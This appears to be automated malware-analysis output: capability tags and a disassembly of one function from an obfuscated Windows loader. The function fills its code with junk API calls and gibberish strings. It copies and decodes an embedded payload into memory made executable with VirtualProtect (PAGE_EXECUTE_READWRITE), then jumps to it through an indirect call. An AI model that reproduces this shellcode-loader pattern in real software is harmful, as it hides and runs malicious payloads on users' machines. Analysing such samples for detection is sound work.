Function at 0x401409
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Get common file path
Get disk information
Get geographical location
Query environment variable

Disassembly:
mov eax, 0x4107a0
call fcn.00410780
mov eax, 0x1d70
call fcn.0040d860
mov ecx, dword [0x2d3866c]
push ebx
push esi
xor esi, esi
push edi
cmp ecx, 0x93
jne 0x40150e
push esi
push esi
lea eax, [ebp - 0x40]
push eax
push esi
call dword [sym.imp.USER32.dll_DrawFrameControl]
xor eax, eax
lock bts dword [eax], 0
push esi
lea eax, [ebp - 0x117c]
push eax
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetAltTabInfoA]
push esi
lea eax, [ebp - 0xd7c]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push dword [ebp - 0x10]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push esi
lea eax, [ebp - 0x68]
push eax
push esi
push esi
push str.wosusafolezefofunoxofevazapotaj
push esi
call dword [sym.imp.GDI32.dll_GetCharacterPlacementA]
push esi
call dword [sym.imp.GDI32.dll_GetPixelFormat]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ReadEventLogW]
push esi
lea eax, [ebp - 0x57c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 1
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], str.bad_allocation
push eax
lea ecx, [ebp - 0x30]
call fcn.0040236d
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x30], vtable.std::bad_alloc.0
call fcn.004023ab
push esi
push esi
call fcn.0040224c
push esi
push esi
call fcn.004033f7
push esi
call fcn.004033bb
movss xmm0, dword [0x4183b0]
add esp, 0x14
cvtps2pd xmm0, xmm0
push esi
push ecx
push ecx
movsd qword [esp], xmm0
call fcn.00402dea
fstp st(0)
add esp, 0xc
call fcn.00402169
mov eax, dword [0x41f260]
add ecx, 0x1134b
push ecx
push esi
mov dword [0x2d38770], eax
mov dword [0x2d3866c], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x24]
mov dword [0x2d385c4], eax
push ecx
push 0x40
push dword [0x2d3866c]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0x29156e
push esi
lea eax, [ebp - 0xd7c]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
dec edi
jne 0x401549
mov ecx, dword [0x2d3866c]
mov edi, esi
test ecx, ecx
je 0x4015b7
mov eax, dword [0x2d38770]
mov cl, byte [eax + edi + 0x1134b]
mov eax, dword [0x2d385c4]
mov byte [eax + edi], cl
mov ecx, dword [0x2d3866c]
cmp ecx, 0x490
jne 0x4015b2
lea eax, [ebp - 0x17c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea eax, [ebp - 0x10]
push eax
push esi
lea eax, [ebp - 0x44]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x2d3866c]
inc edi
cmp edi, ecx
jb 0x401566
mov edi, esi
lea eax, [ecx + edi]
cmp eax, 0x8d
jne 0x40164a
push str.bipobipoxifuzacohehezapim
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push esi
lea eax, [ebp - 0x10]
push eax
push esi
lea eax, [ebp - 0x57c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetClassInfoA]
push esi
call dword [sym.imp.USER32.dll_CharLowerA]
push esi
lea eax, [ebp - 0x117c]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
push esi
lea eax, [ebp - 0x157c]
push eax
push str.cihumaricowecirozebabowo
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push esi
lea eax, [ebp - 0x1d7c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
lea eax, [ebp - 0x97c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov ecx, dword [0x2d3866c]
inc edi
cmp edi, 0x38681
jl 0x4015b9
mov ebx, dword [0x2d385c4]
mov edi, ecx
shr edi, 3
test edi, edi
je 0x401694
cmp ecx, 0x959
jne 0x40167f
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov ecx, ebx
call fcn.004012a4
add ebx, 8
dec edi
je 0x401694
mov ecx, dword [0x2d3866c]
jmp 0x401666
mov edi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x62
jne 0x4016b4
mov dword [ebp - 0x10], esi
add dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add dword [0x2d385c4], eax
inc edi
cmp edi, 0x674db
jl 0x401696
mov eax, esi
cmp dword [0x2d3866c], 0x86
je 0x4016f3
inc eax
cmp eax, 0x7b
jl 0x4016bf
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x2d385c4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
push esi
lea eax, [ebp - 0x20]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push esi
call dword [sym.imp.KERNEL32.dll_ExitThread]